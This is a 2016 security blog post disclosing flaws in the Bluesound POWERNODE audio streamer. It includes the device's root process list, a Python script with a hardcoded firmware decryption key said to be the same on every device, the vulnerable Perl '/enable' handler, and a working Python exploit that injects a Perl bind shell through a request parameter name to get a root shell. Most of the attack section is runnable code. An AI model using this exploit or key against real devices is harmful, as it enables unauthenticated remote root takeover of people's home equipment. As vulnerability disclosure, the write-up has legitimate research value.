Bluesound POWERNODE
December 23, 2016
Bluesound POWERNODE
The Bluesound POWERNODE is a “Wireless Stereo Component”,
which allows the user to stream to an older analogue sound system.
It also includes an amp.
I (sadly) happen to have such a device at home
and decided to take a look at the firmware.
The results were as expected.
Most of the product line appears to be vulnerable,
since they run mostly the same software.
I would also be surprised if this is the only vulnerability in the device.
Bluesound has been contacted.
Process list
From the web-interface
the POWERNODE provides a really handy diagnostics view,
which includes (among other things) a process list:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
root 1 0.0 0.2 2080 560 ? Ss Dec05 0:00 init
root 2 0.0 0.0 0 0 ? S Dec05 0:00 [kthreadd]
root 3 0.0 0.0 0 0 ? S Dec05 0:42 [ksoftirqd/0]
root 4 0.0 0.0 0 0 ? S Dec05 0:48 [events/0]
root 5 0.0 0.0 0 0 ? S Dec05 0:00 [khelper]
root 8 0.0 0.0 0 0 ? S Dec05 0:00 [async/mgr]
root 9 0.0 0.0 0 0 ? S Dec05 0:00 [pm]
root 62 0.0 0.0 0 0 ? S Dec05 0:00 [usb_wakeup thre]
root 63 0.0 0.0 0 0 ? S Dec05 0:00 [usb_wakeup thre]
root 145 0.0 0.0 0 0 ? S Dec05 0:03 [sync_supers]
root 147 0.0 0.0 0 0 ? S Dec05 0:03 [bdi-default]
root 149 0.0 0.0 0 0 ? S Dec05 0:00 [kblockd/0]
root 156 0.0 0.0 0 0 ? S Dec05 0:00 [mxc_spi.0]
root 164 0.0 0.0 0 0 ? S Dec05 0:00 [otg_switch/0]
root 170 0.0 0.0 0 0 ? S Dec05 0:00 [khubd]
root 179 0.0 0.0 0 0 ? S Dec05 0:00 [kmmcd]
root 188 0.0 0.0 0 0 ? S Dec05 0:00 [pmic-event-thre]
root 250 0.0 0.0 0 0 ? S Dec05 0:00 [rpciod/0]
root 265 0.0 0.0 0 0 ? S Dec05 0:00 [kswapd0]
root 313 0.0 0.0 0 0 ? S Dec05 0:00 [aio/0]
root 325 0.0 0.0 0 0 ? S Dec05 0:00 [nfsiod]
root 331 0.0 0.0 0 0 ? S< Dec05 0:00 [kslowd000]
root 332 0.0 0.0 0 0 ? S< Dec05 0:00 [kslowd001]
root 338 0.0 0.0 0 0 ? S Dec05 0:00 [crypto/0]
root 978 0.0 0.0 0 0 ? S Dec05 0:00 [kconservative/0]
root 980 0.0 0.0 0 0 ? S Dec05 0:00 [hwevent]
root 982 0.0 0.0 0 0 ? S Dec05 0:00 [esdhc_wq/0]
root 985 0.0 0.0 0 0 ? S Dec05 2:00 [esdhc_wq/0]
root 1014 0.0 0.0 0 0 ? S Dec05 0:01 [mmcqd]
root 1022 0.0 0.0 0 0 ? S Dec05 0:00 [jbd2/mmcblk0p2-]
root 1023 0.0 0.0 0 0 ? S Dec05 0:00 [ext4-dio-unwrit]
root 1046 0.0 0.0 0 0 ? S Dec05 0:00 [jbd2/mmcblk0p3-]
root 1047 0.0 0.0 0 0 ? S Dec05 0:00 [ext4-dio-unwrit]
root 1051 0.0 0.2 2336 700 ? Ss Dec05 0:12 syslogd -C256
root 1054 0.0 0.2 1768 572 ? S<s Dec05 0:01 udevd --daemon
root 1919 0.0 0.1 2080 408 ? Ss Dec05 0:00 watchdog /dev/watchdog
root 1947 0.2 0.2 3716 716 ? Sl Dec05 29:57 sovi_hal
root 1975 0.0 0.1 2080 496 ? Ss Dec05 0:00 ifplugd -i eth0 -I -r /etc/ifplugd.action
root 1976 0.0 0.3 2272 996 ? S Dec05 0:00 /bin/bash /etc/ifplugd.action eth0 up
root 1979 0.0 0.2 2080 644 ? S Dec05 0:47 udhcpc -h Bedroom1 -i eth0 -p /var/run/udhcpc.eth0 -S
root 1986 0.0 0.2 2220 512 ? Ss Dec05 0:00 dropbear -r /var/data/etc/dropbear_rsa_host_key
root 2005 0.0 0.0 0 0 ? S Dec05 0:19 [events/0]
root 2006 0.0 0.0 0 0 ? S Dec05 0:00 [events_long/0]
root 2007 0.0 0.0 0 0 ? S Dec05 0:00 [events_nrt]
root 2011 0.0 0.0 0 0 ? S Dec05 0:00 [cfg80211]
root 2019 0.0 0.0 0 0 ? S Dec05 0:44 [ksdioirqd/mmc1]
root 2020 0.0 0.0 0 0 ? S Dec05 0:04 [cw1200_wq]
root 2021 0.0 0.0 0 0 ? S Dec05 2:12 [cw1200_bh]
root 2028 0.0 0.0 0 0 ? S Dec05 0:28 [phy0]
1000 2042 0.0 0.3 2684 912 ? Ss Dec05 0:00 dbus-daemon --system
daemon 2045 0.0 0.6 3272 1660 ? S Dec05 0:43 avahi-daemon: running [Bedroom1.local]
root 2046 0.0 0.5 3592 1288 ? S Dec05 0:00 avahi-browse-sovi
root 2049 0.0 0.3 2284 1016 ? S Dec05 7:56 /bin/bash /etc/rc.d/rc.sovi
root 2050 0.0 0.2 2084 604 ttymxc0 Ss+ Dec05 0:00 /sbin/getty -L ttymxc0 115200 vt100
root 2070 0.0 0.4 3692 1224 ? Sl Dec05 9:02 sovi-discover --sddp /tmp/sddp.conf
root 2072 0.0 0.4 2300 1052 ? S Dec05 0:01 /bin/bash /etc/rc.d/rc.stage0
root 2085 1.1 3.4 10592 8828 ? S Dec05 164:49 dspout -m 75
root 2087 0.0 4.0 14092 10408 ? S Dec05 4:42 perl ./automounter.pl -c /var/data
root 2088 0.0 13.5 39380 34464 ? Sl Dec05 4:11 perl ./ms.pl -d /var/data
root 2105 0.0 0.6 3980 1692 ? S Dec05 0:00 /usr/libexec/bluetooth/bluetoothd --noplugin=avrcp
root 2147 0.0 0.5 4572 1364 ? Ss Dec05 0:30 /usr/bin/wpa_supplicant -i wlan0 -c /var/data/wpa.conf -C /tmp -D nl80211 -B
root 2163 0.0 0.1 2080 476 ? Ss Dec05 0:00 /sbin/udhcpc -i wlan0 -S
root 2166 0.5 0.8 4040 2280 ? S Dec05 69:50 sovi-spotify -n Bedroom 1 -i 90:56:82:7f:26:dc -d /var/data -v N150 -b Bluesound -m POWERNODE
root 2167 0.0 1.4 9140 3780 ? S Dec05 0:00 sovi-bt --disable-aac
root 2168 0.2 9.7 31940 24812 ? S Dec05 39:59 perl ./cp.pl -c /var/data
root 2169 0.0 0.3 2392 972 ? S Dec05 0:00 avahi-publish -s Bedroom 1 _spotify-connect._tcp 80 CPath=/spotifyconnect VERSION=1.0
root 2204 0.0 0.5 3612 1304 ? Ss Dec05 1:34 ntpd -g -c /tmp/ntp.conf
root 2254 0.0 3.9 12876 10112 ? Sl Dec05 0:02 /usr/bin/perl /var/data/upgrade/stage0/stage0
root 10668 0.0 0.1 1948 380 ? S 12:08 0:00 sleep 3600
root 13604 0.0 0.1 1948 380 ? S 12:58 0:00 sleep 30
root 13646 0.0 0.3 2244 856 ? R 12:59 0:00 ps axuw
Running Perl as root is usually a bad sign.
Perl obfuscation
They also include additional security such as BluOS firmware being encrypted and locked down to prevent malicious attacks.
– Bluesound support forums
Indeed taking a look at the firmware you will find perl files like the one below:
1
2
3
4
5
6
7
use Filter::Crypto::Decrypt;
1b8c1db0d33f54236ec2ef560a93261bd5a3c6c0d724a5834543c201393a68c86c142e26e115e210810afcd59d
31de2d500fdf77b486ebdd96bd7fdbf901d1e0fd7f94ed2299950ea5137a440f7861a73861fcafcd7aaac6b477
856cfd74d5679a045ad7e6c17d9e119fdf1ef3e308aee092b106c4360e5e7ca92eee84528e79d0963f49396c46
7c1b1886ceca25a10589f4135253f3f71e8dc30628180d1b73d3bdbeaf6ec15dc58d28851fca86502b79bb6680
59da36fc15d65e955529cf54a5d74da3307d7f8b10b7e03cade60e6f9a0b54217410082cf8f28ce7888bcb6f7a
...
Below a script for decrypting the perl files
(the same key is used on all devices and models):
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/usr/bin/env python2
BLOCKSIZE = 16
KEYSIZE = 32
PSWDSIZE = 32
SALTLEN = 8
pswd = 'CDCBCF6B3127E14C1504B39FA0A4AC68CD2C06CFA124A6FC185BC14FC4625088'
pswd = pswd.decode('hex' )
import sys
import hashlib
with open (sys.argv[1 ], 'r' ) as f:
data = f.read()
_, d = data.split(' \n ' )
d = d.decode('hex' )
# derive key
salt = d[:SALTLEN]
d = d[SALTLEN:]
key = hashlib.pbkdf2_hmac('sha1' , pswd, salt, 2048 , KEYSIZE)
print key.encode('hex' )
# decrypt file
from Crypto.Cipher import AES
iv = d[:BLOCKSIZE]
d = d[BLOCKSIZE:]
obj = AES.new(key, AES.MODE_CBC, iv)
print obj.decrypt(d)
Now lets take a look at the firmware.
Exploit
Finding this trivial exploit took about 3 minutes using “grep”.
They love the always handy “system” function,
unfortunately Bluesound are not big fans of sanitising the inputs.
Below you see a textbook example of command injection:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
'/enable' => sub {
my ($httpd , $req ) = @_ ;
my $msg = '<html><body>Note: A reboot is required \
for any changes to fully take effect!<br>' ;
foreach my $feature ($req ->params()) {
my $file = '/var/data/' . $feature . '_enable' ;
my $enable = $req ->parm($feature );
if ($enable eq 'yes' ) {
system ("touch $file && sync" );
} elsif ($enable eq 'no' ) {
system ("rm $file && sync" );
}
if (-f $file ) {
$msg .= "<br>$feature enabled" ;
} else {
$msg .= "<br>$feature disabled" ;
}
}
$msg .= '<br><br><a href="/reboot">Reboot</a></body></html>' ;
$req ->respond ({ content => ['text/html' , $msg ]});
}
And a doit binding a root shell:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/env python2
import requests
import sys
addr = sys.argv[1 ]
port = int (sys.argv[2 ])
url = 'http:// %s /enable' % addr
shell = 'use Socket;$p= %d ;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));' % port
shell += 'bind(S,sockaddr_in($p, INADDR_ANY));listen(S,SOMAXCONN);for(;$p=accept(C,S);'
shell += 'close C){open(STDIN,">&C");open(STDOUT,">&C");open(STDERR,">&C");'
shell += 'exec("/bin/bash -i");};'
cmd = '$(perl -e \' %s \' &)' % shell
print 'bind to' , addr, ':' , port
requests.get(url, params={cmd:'yes' })
Just #LivingHifi